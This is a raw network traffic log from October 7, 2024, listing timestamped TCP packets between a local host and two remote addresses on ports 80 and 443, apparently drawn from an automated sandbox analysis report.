Oct 7, 2024 17:22:07.862185001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862188101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862188101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862200975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862211943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862225056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862225056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862242937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862257957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862274885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862274885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862282038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862307072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862307072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862332106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862356901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862370968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862371922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862371922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862399101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862412930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862418890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862418890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862430096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862454891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862454891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862466097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862515926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862530947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862545013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862596035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862596035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862637043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862652063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862668991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862694025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862715006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862720013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862720013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862730026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862746000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862761021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862761021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862768888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862783909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862792015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862792015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862801075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862817049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862823009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862823009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862833023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862850904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862857103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862857103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862875938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862890959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862890959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862890959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862907887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862930059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862930059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862993002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863007069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863023043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863037109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863048077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863048077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863092899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863106966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863121986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863137960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863147020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863147020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863172054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863184929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863199949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863250017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863261938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863261938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863305092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863312960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863321066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863358021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863373995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863401890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863401890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863423109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863660097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863697052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.863738060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.863738060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.944225073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.946738958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.335232973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.335411072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.340221882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:08.340459108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:08.738742113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:08.738893032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.772902966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.995481014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:08.995548964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:08.997555971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.166676044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.166773081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.166784048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.166796923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.166824102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.166840076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.169368982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.174612999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.344825983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.344927073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.353122950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.358072996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.943346024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.943475008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.943934917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:09.943983078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.945911884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:09.950890064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:10.159032106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:10.159095049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:10.254098892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:10.259130955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:17.269407988 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:17.269443989 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:17.269556046 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:17.269824982 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:17.269840956 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.087363958 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.087438107 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.089499950 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.089504004 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.089907885 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.102082014 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.147406101 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.568080902 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.568145990 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.568188906 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.568202972 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.568223953 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.568247080 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.568268061 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.653024912 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.653088093 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.653122902 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.653140068 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.653166056 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.653188944 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.656049013 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.656100035 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.656127930 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.656141996 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.656163931 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.656186104 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.753282070 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.753340960 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.753416061 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.753432989 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.753479958 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.754487038 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.754529953 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.754563093 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.754569054 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.754625082 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.755471945 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.755516052 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.755542040 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.755548000 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.755580902 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.755604029 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.757076025 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.757114887 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.757169962 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.757175922 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.757222891 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.836869001 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.836918116 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.836990118 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.837006092 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.837049961 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.837755919 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.837807894 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.837845087 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.837852955 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.837909937 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.838525057 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.838576078 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.838607073 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.838613033 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.838660955 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.839128017 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.839174032 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.839209080 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.839215994 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.839240074 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.839266062 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.924997091 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925057888 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925088882 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925106049 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925136089 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925162077 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925709009 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925751925 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925782919 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925790071 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925818920 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925841093 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925857067 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925918102 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.925925016 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.925967932 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.926014900 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.926069021 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.926168919 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.926182032 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.926192045 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.926198006 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.970809937 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.970841885 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.970968008 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.973681927 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.973721027 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.973793983 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.974112988 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.974129915 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.975234032 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.975249052 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.976593971 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.976636887 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.976814032 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.977138042 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.977159023 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.978490114 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.978563070 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.978643894 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.978737116 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.978770018 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.978956938 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.978977919 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:18.979351044 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.979434967 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:18.979446888 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.591876984 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.592410088 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.592432976 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.592924118 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.592928886 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.594921112 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.595314980 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.595345974 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.595716953 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.595726013 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.597706079 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.598151922 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.598162889 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.598566055 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.598570108 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.618865013 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.619203091 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.619214058 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.619630098 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.619633913 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.625775099 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.626414061 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.626431942 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.626744032 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.626749992 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.688738108 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.688761950 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.688838005 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.688853979 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.688922882 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.689179897 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.689183950 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.689259052 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.689320087 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.689351082 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.689413071 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.692410946 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.692466974 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.692565918 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.692739964 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.692759037 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694323063 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694381952 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694449902 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.694461107 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694509029 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694514036 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.694567919 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.694740057 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.694740057 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.694749117 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.694758892 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.696737051 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.696789980 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.696856976 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.696872950 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.696917057 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.696969032 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.697071075 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.697083950 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.697484970 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.697520018 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.697901964 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.697901964 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.697930098 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.699701071 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.699728966 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.699860096 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.700025082 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.700037003 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760265112 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760319948 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760567904 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.760644913 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.760653019 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760679007 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760682106 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.760687113 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.760757923 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.762305975 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.762305975 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.763412952 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.763430119 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.763536930 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.763561010 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.763667107 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.763763905 CEST	49734	443	192.168.2.5	13.107.246.60
